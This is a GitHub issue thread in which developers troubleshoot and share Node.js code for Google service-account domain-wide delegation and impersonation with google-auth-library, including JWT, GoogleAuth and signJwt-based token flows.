User Impersonation with Google Service Account

Hi. I'm trying to implement user impersonation with a google service account and have been having problems for a while. After adding the user to be impersonated as the subject, a token gets created but when calling an API like Google Calendar I get a 401 Invalid Credentials error as if the token that was just created has expired or is invalid.
Do you have any samples of user impersonation? I don't see any in the samples or using Node in Google's documentation. Here is their documentation on the subject: https://developers.google.com/identity/protocols/oauth2/service-account#delegate-domain-wide-authority
Thanks a lot.

i am unable to impersonate successfully as well.
Error, code 401
unauthorized_client: Client is unauthorized to retrieve access tokens using this method, or client not authorized for any of the scopes requested.

const googleService = {};

const authClient = google.auth.fromJSON(serviceJson);
authClient.scopes = [
  'https://www.googleapis.com/auth/calendar',
  'https://www.googleapis.com/auth/calendar.events',
];
authClient.subject =<EMAIL_ADDRESS>googleService.authClient = authClient;

async function addGuestAndSendEmail(eventId, calendarId, newGuest) {
  const {
    data: { attendees = [] },
  } = await googleService.event.get(eventId, calendarId);
  attendees.push({ email: newGuest });
  return calendar.events.patch({
    calendarId,
    eventId,
    auth: googleService.authClient,
    requestBody: {
      sendUpdates: 'all',
      attendees,
    },
  });
}

service account where I got serviceJson
Enable G Suite Domain-wide Delegation - check
service account granted access on google admin
Calendar (Read-Write)  https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
Badly need help :((

without authClient.subject, i get error code 403
Service accounts cannot invite attendees without Domain-Wide Delegation of Authority.

also tried
    const authClient = new google.auth.JWT({
      email: serviceJson.client_email,
      key: serviceJson.private_key,
      scopes: [
        'https://www.googleapis.com/auth/calendar',
        'https://www.googleapis.com/auth/calendar.events',
        'https://www.googleapis.com/auth/cloud-platform',
      ],
      subject<EMAIL_ADDRESS>    });
    googleService.authClient = authClient;

with error
unauthorized_client: Client is unauthorized to retrieve access tokens using this method, or client not authorized for any of the scopes requested

I was able to do impersonation with official python client library, so I suspect there's something wrong with this NodeJS client

There's an outstanding PR, #779, to add support for impersonation. Perhaps try this as a starting point, and see if the approach would work for you?

Hey @bcoe thanks for pointing out the PR, I wish to have seen this a few days ago 😄 We've finished the feature in the python client so I think I'll be delayed in testing the PR

i tried to impersonate a user under the domain but it didn't work. I got error
Error: Error: Unable to refresh sourceCredential: Error: Error: Unable to impersonate: Error: Requested entity was not found.

sample code:
    const saclient = new JWT(
      serviceJson.client_email,
      null,
      serviceJson.private_key,
      scopes,
    );

    // Use that to impersonate the targetPrincipal
    const targetClient = new Impersonated({
      sourceClient: saclient,
      targetPrincipal<EMAIL_ADDRESS>      lifetime: 30,
      delegates: [],
      targetScopes: scopes,
    });
    const authHeaders = await targetClient.getRequestHeaders();
    console.log('authHeaders', authHeaders);

I guess this impersonation applies only to a service account, not to domain users

There's an outstanding PR, #779, to add support for impersonation. Perhaps try this as a starting point, and see if the approach would work for you?

https://stackoverflow.com/a/61571003/3539640

any service accounts made after March 2, 2020 will no longer be able to invite guests to events without using impersonation.

Has impersonation been implemented in this package?

Is this working fine

maybe this could help
const auth = new google.auth.GoogleAuth({     keyFile: './service.json',     scopes: [       'https://www.googleapis.com/auth/contacts',...     ],     clientOptions: {       subject<EMAIL_ADDRESS>   },   });

@dr-aiuta you save my life!! After hours of searching... Not sure why Google don't put this on docs...

@fabiomig is @dr-aiuta's example working for you? It sounds like we definitely should document this approach in the docs.

@bcoe, @dr-aiuta's approach worked for me.  Also working for me is the following (Calendar API specific example):
const { google } = require('googleapis');
const moment = require('moment');
const googleKey = require('../service-account.json');

const SUBJECT =<EMAIL_ADDRESS>
const auth = new google.auth.JWT({
  email: googleKey.client_email,
  key: googleKey.private_key,
  scopes: ['https://www.googleapis.com/auth/calendar'],
  subject: SUBJECT
});

const calendar = google.calendar({ version: 'v3', auth });

calendar.events.insert({
  calendarId: SUBJECT,
  sendUpdates: 'all',
  requestBody: {
    summary: 'This is a summary',
    description: 'This is a description',
    start: { dateTime: moment().add(1, 'day'), timeZone: 'PST' },
    end: { dateTime: moment().add(1, 'day').add(45, 'minutes'), timeZone: 'PST' },
    attendees: [{ email: SUBJECT }, { email<EMAIL_ADDRESS>}]
  }
}, (err, res) => {
  if (err) return console.log('The API returned an error: ' + err);
  // handle res
});

Bear in mind it impersonates a user, not a separate Service Account.  I was only able to find this info on SO/here/a couple of blogs.  It would be helpful if it were documented if it isn't already.

@bcoe, @dr-aiuta's approach worked for me.  Also working for me is the following (Calendar API specific example):
const { google } = require('googleapis');
const moment = require('moment');
const googleKey = require('../service-account.json');

const SUBJECT =<EMAIL_ADDRESS>
const auth = new google.auth.JWT({
  email: googleKey.client_email,
  key: googleKey.private_key,
  scopes: ['https://www.googleapis.com/auth/calendar'],
  subject: SUBJECT
});

const calendar = google.calendar({ version: 'v3', auth });

calendar.events.insert({
  calendarId: SUBJECT,
  sendUpdates: 'all',
  requestBody: {
    summary: 'This is a summary',
    description: 'This is a description',
    start: { dateTime: moment().add(1, 'day'), timeZone: 'PST' },
    end: { dateTime: moment().add(1, 'day').add(45, 'minutes'), timeZone: 'PST' },
    attendees: [{ email: SUBJECT }, { email<EMAIL_ADDRESS>}]
  }
}, (err, res) => {
  if (err) return console.log('The API returned an error: ' + err);
  // handle res
});

Bear in mind it impersonates a user, not a separate Service Account.  I was only able to find this info on SO/here/a couple of blogs.  It would be helpful if it were documented if it isn't already.

maybe this could help
const auth = new google.auth.GoogleAuth({
    keyFile: './service.json',
    scopes: [
      'https://www.googleapis.com/auth/contacts',...
    ],
    clientOptions: {
      subject<EMAIL_ADDRESS>    },
  });

Thank you much.

can this "clientOptions" parameter be put on one of the Quickstarts pages as one of the examples? I spent hours trying to find a solution. This should be standard in the Directory API docs.

Hi .. I am trying to  use the service account  using Google Cloud Functions to access the Workspace Directory API. I am trying to use Application Default Credentials approach. Since the documentation doesn't mention any additional steps to be done in the Google Cloud Console side, I assume that  Application Default Credentials (ADC) to the function is  automatically passed to the cloud function from Google Cloud's Metadata server. The following code works perfectly in my local, emulated environment where I have set GOOGLE_APPLICATION_CREDENTIALS environment variable to point to the JSON credential file. However when I deploy the function to Google Cloud, I am getting the error "Not Authorized to access this resource/api". I have been searching and trying for days without any success. As an aside, before I stumbled upon this thread and recommendation from @dr-aiuta, I was using getCredentials() method of GoogleAuth to  get the private_key to create JWT auth (for the "subject" property) and passing that auth to admin API call. Which again worked perfectly in my local environment but fails in the cloud environment because getCredentials()  private_key  is null, which is probably expected behavior. Any help is deeply appreciated. If this request needs to be posted somewhere else please advise as well.
export const listUsers = functions.https.onCall((data, context) => {
  return new Promise(async (resolve, reject) => {
    const envAuth = new GoogleAuth({
      scopes: ["https://www.googleapis.com/auth/admin.directory.user.readonly"],
      clientOptions: {
        subject<EMAIL_ADDRESS>      },
    });

    const client = await envAuth.getClient();
    const service = google.admin({version: "directory_v1", auth: client});
    try {
      const response = await service.users.list({
        customer: "MYCUSTOMER_ID",
      });
      resolve(response);
    } catch (err) {
      reject(err);
    }
  });
});

I am having the same issue as @increos and would like to replicate the solution provided for Python: https://github.com/GoogleCloudPlatform/professional-services/blob/master/examples/gce-to-adminsdk/main.py

@jmkrimm My conclusion through  trial and error (correctly or incorrectly ) is the ADC strategy works for "newer?" Google Cloud Platform service e.g. Cloud Storage, Secrets Manager etc. But if you are reaching beyond to other (legacy?) Google Products like Workspace then you need other approaches.  I got it to work by using using the Secret Manager product. Storing my keys there and reading those in and explicitly using the JWT token to get access to the Google Admin Directory API.
I am pasting excerpts of my  code below (in typescript) if it helps in anyway :
import {SecretManagerServiceClient} from '@google-cloud/secret-manager';
import {JWT} from 'google-auth-library';

...  ...
const client = new SecretManagerServiceClient();
const name = 'projects/<project id >/secrets/private_key/versions/1';

export function googleAuthorize(scopes: Array<string>, subject: string): Promise<JWT> {
  return new Promise(async (resolve) => {
    const [version] = await client.accessSecretVersion({
      name: name,
    });
    const secret = JSON.parse(version.payload?.data?.toString() as string);
    const jwt = new google.auth.JWT({
      scopes: scopes,
      subject: subject,
      email: secret.client_email,
      key: secret.private_key,
    });
    resolve(jwt);
  });
}

and the finally
 etc. etc.

    const scopes = ['https://www.googleapis.com/auth/admin.directory.user.readonly'];
    const jwtAuth = await googleAuthorize(scopes, ADMIN_EMAIL);
    const service = google.admin({version: 'directory_v1', auth: jwtAuth});

    try {
      const response = await service.users.list({
        customer: "MYCUSTOMER_ID",
      });
      resolve(response);
    } catch (err) {
      reject(err);
    }

etc etc

@increos sorry but that solution will not work because I am trying not to create a KEY file at all. When code runs on GCP and the default service account has the necessary authorization, it should just work. Similar to authenticaing to GCP resources like Cloud Storage. The issue is not with the Google API but the nodejs library. Google Workspace API in most cases expects impersonation of a Google Workspace account and the client library does not support this without providing a key file. It is very frustrating for entrprise Google Workspace customers like myself.

maybe this could help
const auth = new google.auth.GoogleAuth({
    keyFile: './service.json',
    scopes: [
      'https://www.googleapis.com/auth/contacts',...
    ],
    clientOptions: {
      subject<EMAIL_ADDRESS>    },
  });

Wow great, thank you so much 😄 , I've been looking for this all day long

for me the solution with JWT worked:
const auth = new google.auth.JWT({
  keyFile: 'path-to-service-account.json',
  scopes: [
    'https://www.googleapis.com/auth/calendar',
    'https://www.googleapis.com/auth/calendar.events',
  ],
  subject<EMAIL_ADDRESS>})

maybe this could help
const auth = new google.auth.GoogleAuth({
    keyFile: './service.json',
    scopes: [
      'https://www.googleapis.com/auth/contacts',...
    ],
    clientOptions: {
      subject<EMAIL_ADDRESS>    },
  });

THANK YOU!

maybe this could help
const auth = new google.auth.GoogleAuth({
    keyFile: './service.json',
    scopes: [
      'https://www.googleapis.com/auth/contacts',...
    ],
    clientOptions: {
      subject<EMAIL_ADDRESS>    },
  });

Thanks! This solved everything! ❤

maybe this could help
const auth = new google.auth.GoogleAuth({
    keyFile: './service.json',
    scopes: [
      'https://www.googleapis.com/auth/contacts',...
    ],
    clientOptions: {
      subject<EMAIL_ADDRESS>    },
  });

Wow great, thank you so much 😄 , I've been looking for this all day long

OMG THANK YOU SO MUCH

Tried clientOptions method but it does not work.
It works using this way https://stackoverflow.com/questions/73032573/how-to-use-service-account-to-authenticate-google-workspace-admin-api

also tried
    const authClient = new google.auth.JWT({
      email: serviceJson.client_email,
      key: serviceJson.private_key,
      scopes: [
        'https://www.googleapis.com/auth/calendar',
        'https://www.googleapis.com/auth/calendar.events',
        'https://www.googleapis.com/auth/cloud-platform',
      ],
      subject<EMAIL_ADDRESS>    });
    googleService.authClient = authClient;

with error
unauthorized_client: Client is unauthorized to retrieve access tokens using this method, or client not authorized for any of the scopes requested

For those of you who still encounter this problem and hasn't found light, try redownloading json credentials. If you add scope or domain-wide delegation to the service account, it seems the private key will also change, and thus you need to download a new one

@increos sorry but that solution will not work because I am trying not to create a KEY file at all. When code runs on GCP and the default service account has the necessary authorization, it should just work. Similar to authenticaing to GCP resources like Cloud Storage. The issue is not with the Google API but the nodejs library. Google Workspace API in most cases expects impersonation of a Google Workspace account and the client library does not support this without providing a key file. It is very frustrating for enterprise Google Workspace customers like myself.

I'm trying too to use the Application Default Credentials to create a JWT token to impersonate the users. This will be very useful to deploy both in production and in test enviroment without a cumbersone json file to every time manage

Wow, so to this date, the Node.js library has no way of just using the ADC? Instead, we have to explicitly create a key for the Service Account (which is a bad practice as per Google's documentation)

and using that generated JSON to manually create a JWT with subject: "impersonated_user@domain"????
@JustinBeckwith @bcoe can you please shed some light on this. I believe both Python and Java libraries have this functionality already as expressed in this tutorial of yours and it seems crazy that I have to increase security risks at my organisation due to a missing feature...

After combining knowledge from this thread, and countless other sources online (Google and not), I was finally able to get NodeJS to do Service Account impersonation using my personal ADC.

optional: destroy your ~/.config/gcloud directory to ensure no other pre-existing login credentials conflict with the authentication: rm -rf ~/.config/gcloud
make sure you provide ADC to gcloud: gcloud auth application-default login and follow the login flow in the browser, logging in with your personal credentials.
your ADC (personal) Google Account must be added as a Service Account Token Creator on the Service Account you are trying to impersonate.
The IAM Service Account Credentials API must be enable in your GCP Project. I thought this was the same as the IAM API. It is not. Goto GCP -> APIs & Services -> Enable APIs & Services -> search for it, and Enable it.
install the necessary dependencies, and run the code below (example uses BigQuery):

const { BigQuery }                 = require('@google-cloud/bigquery');
const { GoogleAuth, Impersonated } = require('google-auth-library');

const projectId           = 'your-project';
const serviceAccountEmail =<EMAIL_ADDRESS>const scopes              = ['https://www.googleapis.com/auth/cloud-platform'];
const delegates           = [];
const lifetime            = 3600;

(async () => {

  const auth         = new GoogleAuth({ scopes });
  const sourceClient = await auth.getClient();

  const authClient = new Impersonated({
      sourceClient,
      targetPrincipal: serviceAccountEmail,
      lifetime,
      delegates,
      targetScopes: scopes
  });

  const bigquery = new BigQuery({ projectId, authClient });

  const response = await bigquery.query('select 1 as x ');

  /* should print [ [ { x: 1 } ] ] */
  console.log(response);

})()

After combining knowledge from this thread, and countless other sources online (Google and not), I was finally able to get NodeJS to do Service Account impersonation using my Google Account ADC, without having to manage service account keys.
1. _optional_: destroy your `~/.config/gcloud` directory to ensure no other pre-existing login credentials conflict with the authentication: `rm -rf ~/.config/gcloud`

2. provide ADC to gcloud: `gcloud auth application-default login` and follow the login flow in the browser, logging in with your Google Account.

3. provide your ADC Google Account the Service Account Token Creator Role on the Service Account you are trying to impersonate.

4. The IAM Service Account Credentials API must be enable in your GCP Project. I thought this was the same as the IAM API. It is not. Goto **GCP** -> **APIs & Services** -> **Enable APIs & Services** -> search for it, and Enable it.

5. install the necessary dependencies, and run the code below (example uses BigQuery):

const { BigQuery }                 = require('@google-cloud/bigquery');
const { GoogleAuth, Impersonated } = require('google-auth-library');

const projectId           = 'your-project';
const serviceAccountEmail =<EMAIL_ADDRESS>const scopes              = ['https://www.googleapis.com/auth/cloud-platform'];
const delegates           = [];
const lifetime            = 3600;

(async () => {

  const auth         = new GoogleAuth({ scopes });
  const sourceClient = await auth.getClient();

  const authClient = new Impersonated({
      sourceClient,
      targetPrincipal: serviceAccountEmail,
      lifetime,
      delegates,
      targetScopes: scopes
  });

  const bigquery = new BigQuery({ projectId, authClient });

  const response = await bigquery.query('select 1 as x ');

  /* should print [ [ { x: 1 } ] ] */
  console.log(response);

})()

While this works, it leaves much to be desired. I would prefer if all of this impersonation & authclient code could be stored locally and referenced as ADC by the Node SDK... so, I found: gcloud auth application-default login --impersonate-service-account SERVICE_ACCT_EMAIL. But, it fails for reasons I'm still not sure. Substituting (2) above with this command and cleaning up the BigQuery constructor to just simply  const bigquery = new BigQuery({ projectId }); fails with:
Error: The incoming JSON object does not contain a client_email field

I guess it has something to do with the credential file that is stored in ~/.config/gcloud/application_default_credentials.json. The schemas are not aligned when running the command with or without the --impersonate-service-account option.
I will go ahead with what I have now, but would appreciate if anyone could shed light on it.

This uses your personal account, hence why it works. What we're trying to do here, though, is impersonate a Service Account (the one the Cloud Run/Cloud Function/VM instance would use) to simulate a prod/staging environment and ensure everything works without having to keep extra JSON files, simply using the local auth. That's what's lacking and what fails for you too

@jars you're doing the opposite of what we're trying to achieve. We want a Service Account to impersonate a user, not the other way around. I want to be able to send a calendar invitation or an email on behalf of workers in my Domain via Domain-Wide Delegation (DWD). What you're doing is the opposite, which we know works ;)

Ahh -- Got it, @BoscoDomingo. I don't want to derail convo, but will leave my comment above so that others can use it if they are in my situation.

@akshaychopra5207, Did you ever figure this out? I am also trying to created a google meeting where everyone can join and getting this error in python?

Just FYI this is still an issue, 4 years later. Python and Java already have this functionality, so it's a matter of translating code unless I'm missing something (I haven't been able to look into the code)

Have you worked on this before and it worked using python. I seemed to have tried everything to no avail. This is a rough draft of code that you can look through. Any help is appreciated:
def create_google_meeting(start_time, end_time, timezone, mentor_instance, mentee_instance):
   SCOPES = ['https://www.googleapis.com/auth/calendar']

   credentials = service_account.Credentials.from_service_account_info({
       "type": os.getenv("CALENDAR_TYPE"),
       "project_id": os.environ.get("CALENDAR_PROJECT_ID"),
       "private_key_id": os.environ.get("CALENDAR_PRIVATE_KEY_ID"),
       "private_key": os.environ.get("CALENDAR_PRIVATE_KEY").replace("\\n", "\n"),
       "client_email": os.environ.get("CALENDAR_CLIENT_EMAIL"),
       "client_id": os.environ.get("CALENDAR_CLIENT_ID"),
       "auth_uri": os.environ.get("CALENDAR_AUTH_URI"),
       "token_uri": os.environ.get("CALENDAR_TOKEN_URI"),
       "auth_provider_x509_cert_url": os.environ.get("CALENDAR_FIREBASE_AUTH_PROVIDER_X509_CERT_URL"),
       "client_x509_cert_url": os.environ.get("CALENDAR_FIREBASE_CLIENT_X509_CERT_URL"),
       "universe_domain": "googleapis.com",
       }, scopes=SCOPES)

   service = build('calendar', 'v3', credentials=credentials)

   # Create a meeting through the Google Meet API

   event = {
       'summary': 'Semis Mentoring Meeting',
       'start': {
       'description': 'Mentoring session',
           'dateTime': start_time.strftime('%Y-%m-%dT%H:%M:%S'),
           'timeZone': timezone,
       },
       'end': {
           'dateTime': end_time.strftime('%Y-%m-%dT%H:%M:%S'),
           'timeZone': timezone,
       },
       'conferenceData': {
               'createRequest': {
                   'requestId': uuid.uuid4().hex,
                   'conferenceSolutionKey': {
                       'type': 'hangoutsMeet'
                   }
               }
           },
           'attendees': [
               {
                   'email': mentor_instance.email,
                   'responseStatus': 'needsAction'  # Status might vary based on their response
               },
               {
                   'email': mentee_instance.email,
                   'self': True,  # Denotes the user making the request (mentee)
                   'responseStatus': 'needsAction'  # Status might vary based on their response
               }
           ],
           'guestsCanInviteOthers': False  # Set as needed
           # 'attendees':  [
           #     {'email': mentor_instance.user.email},
           #     # Add more attendees as needed
           # ]
   }

   try:

       event =service.events().insert(calendarId='primary', conferenceDataVersion=1, body=event).execute()

       print({"event": event})
       meeting_link = event['hangoutLink']
       print({"meeting_link": meeting_link})
       return meeting_link, None  # No error message
   except Exception as e:
       error_message = f"Failed to create Google Meet meeting: {str(e)}"
       return None, error_message

Hello,
I am not sure this is helpful or not for people who like us wants to use WIF with impersonation and SA.
We rebuilt the functionality used in this Github Action (https://github.com/google-github-actions/auth) to reuse with Lambdas and other types of AWS Services.
Full disclaimer I don't consider myself to be a node / typescript coder so don't take the code here for granted
import axios from 'axios'; // we need this to build the DWD
import { ExternalAccountClient, OAuth2Client } from 'google-auth-library';
import { SecretService } from './secret'; // deals with fetching secrets from aws secretsmanager
import { SignedJWT } from '../domain/google';
/*
export interface SignedJWT {
  kid: string;
  signedJwt: string;
}
*/
import { GOOGLE_API_SCOPES } from '../constants'; // Just definition of the API Scopes requested
import { logger } from '../logging'; // This is a lambda powertools configuration

const {
  ENVIRONMENT,
  GCP_PROJECT_ID,
  SERVICE_ACCOUNT_EMAIL
} = process.env;

// userAgent is the default user agent.
const userAgent = `someuser-agent-you-want-to-use`;

export async function generateOauth2Client(secretService: SecretService, impersonationEmail: string): Promise<OAuth2Client> {
  const creds = await secretService.getGoogleSecret(); // get SA config for WIF
  const auth_client = ExternalAccountClient.fromJSON(creds);
  if (!auth_client) { throw Error('no client created') }
  auth_client.scopes = ['https://www.googleapis.com/auth/cloud-platform'];

  if (!GCP_PROJECT_ID || !SERVICE_ACCOUNT_EMAIL) { throw Error('missing required gcp env vars') }

  if (!auth_client) { throw Error('no client created') }
  logger.debug("requesting dwd credentials");

  const unsignedJwt = buildDomainWideDelegationJWT(
    SERVICE_ACCOUNT_EMAIL,
    impersonationEmail,
    GOOGLE_API_SCOPES,
    3600, // 1 hour, longer duration is unsupported with DWD
  );

  // build dwd request
  const url = `https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${SERVICE_ACCOUNT_EMAIL}:signJwt`;
  const headers = await auth_client.getRequestHeaders();
  const body = {
    payload: unsignedJwt
  }

  const signJwtResponse = (await auth_client.request({
    url: url,
    body: JSON.stringify(body),
    headers: headers,
    method: 'POST'
  })).data as SignedJWT;

  if (!signJwtResponse.signedJwt) {
    throw new Error("No data in response")
  }

  const access_token = await generateDomainWideDelegationAccessToken(signJwtResponse.signedJwt);

  // We get an OAuth2 access token, we need to convert this into a client to be able to initiate the other google api clients such as admin or gmail
  const oauth2Client = new OAuth2Client();
  oauth2Client.setCredentials({ access_token: access_token });
  return oauth2Client

  function buildDomainWideDelegationJWT(
    serviceAccount: string,
    subject: string | undefined | null,
    scopes: Array<string> | undefined | null,
    lifetime: number,
  ): string {
    const now = Math.floor(new Date().getTime() / 1000);

    const body: Record<string, string | number> = {
      iss: serviceAccount,
      aud: 'https://oauth2.googleapis.com/token',
      iat: now,
      exp: now + lifetime,
    };
    if (subject && subject.trim().length > 0) {
      body.sub = subject;
    }
    if (scopes && scopes.length > 0) {
      // Yes, this is a space delimited list.
      // Not a typo, the API expects the field to be "scope" (singular).
      body.scope = scopes.join(' ');
    }

    return JSON.stringify(body);
  }

  /*
    We need to send this request with axios (or other http client) because we want to use a JWT (JSON Web Token) for Domain-Wide Delegation of Authority.
    The Google Auth Library for Node.js does not provide a built-in method for this specific use case as far as we have found
  */
  async function generateDomainWideDelegationAccessToken(
    signedJwt: string,
  ): Promise<string> {
    const url = 'https://oauth2.googleapis.com/token';
    const headers = {
      'Accept': 'application/json',
      'Content-Type': 'application/x-www-form-urlencoded',
      'User-Agent': userAgent
    };
    const body = new URLSearchParams();
    body.append('grant_type', 'urn:ietf:params:oauth:grant-type:jwt-bearer');
    body.append('assertion', signedJwt);

    try {
      const resp = await axios.post(url, body.toString(), { headers });
      if (resp.status < 200 || resp.status > 299) {
        throw new Error(`Failed to call ${url}: HTTP ${resp.status}: ${resp.data || '[no body]'}`);
      }
      logger.debug("Got oauth2 access token")
      return resp.data.access_token;
    } catch (err) {
      throw new Error(`Failed to generate Google Cloud Domain Wide Delegation OAuth 2.0 Access Token: ${err}`);
    }
  }
}

Apart from this the service account needs to have service account token creator permission.

I want to build in top of @tcvall86 answer, but using the application default credentials, as the original OP requested (and I also needed), so here is the improved version (moved back to vanilla JS):
const axios = require("axios"); // we need this to build the DWD
const { GoogleAuth } = require("google-auth-library");
const { OAuth2Client } = require("google-auth-library");

logger = console;

// userAgent is the default user agent.
const userAgent = `someuser-agent-you-want-to-use`;

async function generateOauth2Client(impersonationEmail, gcpProjectId, serviceAccountEmail, googleApiScopes) {
  const auth_client = new GoogleAuth({
    scopes: ["https://www.googleapis.com/auth/cloud-platform"],
  });
  if (!auth_client) {
    throw Error("no client created");
  }

  if (!gcpProjectId || !serviceAccountEmail) {
    throw Error("missing required gcp env vars");
  }

  if (!auth_client) {
    throw Error("no client created");
  }
  logger.debug("requesting dwd credentials");

  const unsignedJwt = buildDomainWideDelegationJWT(
    serviceAccountEmail,
    impersonationEmail,
    googleApiScopes,
    3600 // 1 hour, longer duration is unsupported with DWD
  );

  // build dwd request
  const url = `https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${serviceAccountEmail}:signJwt`;
  const headers = await auth_client.getRequestHeaders();
  const body = {
    payload: unsignedJwt,
  };

  const signJwtResponse = (
    await auth_client.request({
      url: url,
      body: JSON.stringify(body),
      headers: headers,
      method: "POST",
    })
  ).data;

  if (!signJwtResponse.signedJwt) {
    throw new Error("No data in response");
  }

  const access_token = await generateDomainWideDelegationAccessToken(
    signJwtResponse.signedJwt
  );

  // We get an OAuth2 access token, we need to convert this into a client to be able to initiate the other google api clients such as admin or gmail
  const oauth2Client = new OAuth2Client();
  oauth2Client.setCredentials({ access_token: access_token });
  return oauth2Client;

  function buildDomainWideDelegationJWT(
    serviceAccount,
    subject,
    scopes,
    lifetime
  ) {
    const now = Math.floor(new Date().getTime() / 1000);

    const body = {
      iss: serviceAccount,
      aud: "https://oauth2.googleapis.com/token",
      iat: now,
      exp: now + lifetime,
    };
    if (subject && subject.trim().length > 0) {
      body.sub = subject;
    }
    if (scopes && scopes.length > 0) {
      // Yes, this is a space delimited list.
      // Not a typo, the API expects the field to be "scope" (singular).
      body.scope = scopes.join(" ");
    }

    return JSON.stringify(body);
  }

  /*
    We need to send this request with axios (or other http client) because we want to use a JWT (JSON Web Token) for Domain-Wide Delegation of Authority.
    The Google Auth Library for Node.js does not provide a built-in method for this specific use case as far as we have found
  */
  async function generateDomainWideDelegationAccessToken(signedJwt) {
    const url = "https://oauth2.googleapis.com/token";
    const headers = {
      Accept: "application/json",
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": userAgent,
    };
    const body = new URLSearchParams();
    body.append("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer");
    body.append("assertion", signedJwt);

    try {
      const resp = await axios.post(url, body.toString(), { headers });
      if (resp.status < 200 || resp.status > 299) {
        throw new Error(
          `Failed to call ${url}: HTTP ${resp.status}: ${
            resp.data || "[no body]"
          }`
        );
      }
      logger.debug("Got oauth2 access token");
      return resp.data.access_token;
    } catch (err) {
      throw new Error(
        `Failed to generate Google Cloud Domain Wide Delegation OAuth 2.0 Access Token: ${err}`
      );
    }
  }
}

module.exports = {
  generateOauth2Client
};

And this is the way that it is used:
[...]
const { generateOauth2Client } = require("./impersonation.js");
[...]
  const auth = await generateOauth2Client(
    "<USE-OWN-IMPERSONATED-USER>",
    "<USE-YOUR-OWN-PROJECT>",
    "<USE-YOUR-OWN-IMPERSONATING-SA",
    [
      "https://www.googleapis.com/auth/drive.readonly",
    ]
  );
  const service = google.drive({ version: "v3", auth });

  resAbout = await service.about.get({
    fields: "*",
  });
  console.log(resAbout.data.user);

The result of said code is printing the information about the impersonated user, meaning that we have managed to really impersonate it!

@lopezvit Nice one! I will give it a go whenever I have time for it, and let you know if it worked for me too. Can't promise it'll be soon though (it's for work and we've more pressing matters atm)

In case anyone else is interested in the TypeScript version of @tcvall86 and @lopezvit snippets:
import { GoogleAuth } from 'google-auth-library';

const GOOGLE_OAUTH2_TOKEN_API_URL = 'https://oauth2.googleapis.com/token';

/**
 * This function generates an OAuth2 Access Token with scopes obtained via domain-wide delegation
 * without requiring a JSON key file from a Service Account.
 *
 * Resources:
 *  - https://github.com/googleapis/google-auth-library-nodejs/issues/916
 *  - https://cloud.google.com/iam/docs/best-practices-for-managing-service-account-keys?hl=es-419#domain-wide-delegation
 *
 * @param impersonationEmail Email address of the Google account that has granted domain-wide scopes to the service account
 * @param serviceAccountEmail Service account which received the scopes using domain-wide delegation
 * @param googleApiScopes Scopes to request for the generated Access Token
 * @param lifetime Lifetime, in seconds, of the generated access token. It can't be greater than 1h
 * @returns the generated access token
 */
export async function getDomainWideDelegationAccessToken(
  impersonationEmail: string,
  serviceAccountEmail: string,
  googleApiScopes: string[],
  lifetime: number,
): Promise<string> {
  if (!impersonationEmail) {
    throw Error('impersonationEmail is required');
  }
  if (!serviceAccountEmail) {
    throw Error('serviceAccountEmail is required');
  }
  if (lifetime > 3600) {
    throw Error('lifetime cannot be greater than 3600 seconds (1 hour)');
  }

  // Build client using Application Default Credentials
  const auth_client = new GoogleAuth({
    scopes: ['https://www.googleapis.com/auth/cloud-platform'],
  });

  // Build JWT token for domain-wide delegation
  const unsignedJwt = buildDomainWideDelegationJWT(serviceAccountEmail, impersonationEmail, googleApiScopes, lifetime);

  // Sign JWT token using a system-managed private key of the given service account
  const signJwtResponse = (
    await auth_client.request({
      url: `https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${serviceAccountEmail}:signJwt`,
      body: JSON.stringify({
        payload: unsignedJwt,
      }),
      headers: await auth_client.getRequestHeaders(),
      method: 'POST',
    })
  ).data;

  if (!signJwtResponse.signedJwt) {
    throw new Error('Failed to sign JWT token using the Service Account key');
  }

  return await generateDomainWideDelegationAccessToken(signJwtResponse.signedJwt);
}

/**
 * Builds the payload to request a JWT token using domain-wide delegation.
 * See: https://cloud.google.com/iam/docs/best-practices-for-managing-service-account-keys?hl=es-419#domain-wide-delegation
 */
function buildDomainWideDelegationJWT(
  serviceAccount: string,
  subject: string,
  scopes: string[],
  lifetime: number,
): string {
  const now = Math.floor(new Date().getTime() / 1000);

  const body: Record<string, string | number | undefined> = {
    iss: serviceAccount,
    aud: GOOGLE_OAUTH2_TOKEN_API_URL,
    iat: now,
    exp: now + lifetime,
    sub: subject ?? undefined,
    // Yes, this is a space delimited list.
    // Not a typo, the API expects the field to be "scope" (singular).
    scope: scopes && scopes.length > 0 ? scopes.join(' ') : undefined,
  };

  return JSON.stringify(body);
}

/**
 * We need to send this request using an alternative http client because we want to use a JWT (JSON Web Token) for Domain-Wide Delegation of Authority.
 * The Google Auth Library for Node.js does not provide a built-in method for this specific use case.
 * See: https://cloud.google.com/iam/docs/best-practices-for-managing-service-account-keys?hl=es-419#domain-wide-delegation
 */
async function generateDomainWideDelegationAccessToken(signedJwt: string): Promise<string> {
  const url = GOOGLE_OAUTH2_TOKEN_API_URL;
  const headers = {
    Accept: 'application/json',
    'Content-Type': 'application/x-www-form-urlencoded',
  };
  const body = new URLSearchParams();
  body.append('grant_type', 'urn:ietf:params:oauth:grant-type:jwt-bearer');
  body.append('assertion', signedJwt);

  try {
    const resp = await fetch(url, {
      method: 'POST',
      body: body.toString(),
      headers,
    });
    if (resp.status < 200 || resp.status > 299) {
      throw new Error(`Failed to call ${url}: HTTP ${resp.status}: ${await resp.text()}`);
    }
    const data = (await resp.json()) as { access_token: string };
    return data.access_token;
  } catch (err) {
    throw new Error(`Failed to generate Google Cloud Domain Wide Delegation OAuth 2.0 Access Token: ${err}`);
  }
}

This can be used as follows:
// Generate access token using Domain-wide delegation
const accessToken = await getDomainWideDelegationAccessToken(
<EMAIL_ADDRESS><EMAIL_ADDRESS>  ['scope1', 'scope2'], // Requested scopes
  15 * 60, // Lifetime of the access token, it cannot be greater than 1h
)

const oauth2Client = new OAuth2Client();
oauth2Client.setCredentials({ access_token: accessToken });

I would also really like this feature. Here is what I am currently using - I adjusted the above code a little bit to make use of the signJwt method that Google exposes in their IAMCredentialsClient, here it is:
import { IAMCredentialsClient } from '@google-cloud/iam-credentials'

const GOOGLE_OAUTH2_TOKEN_API_URL = 'https://oauth2.googleapis.com/token';

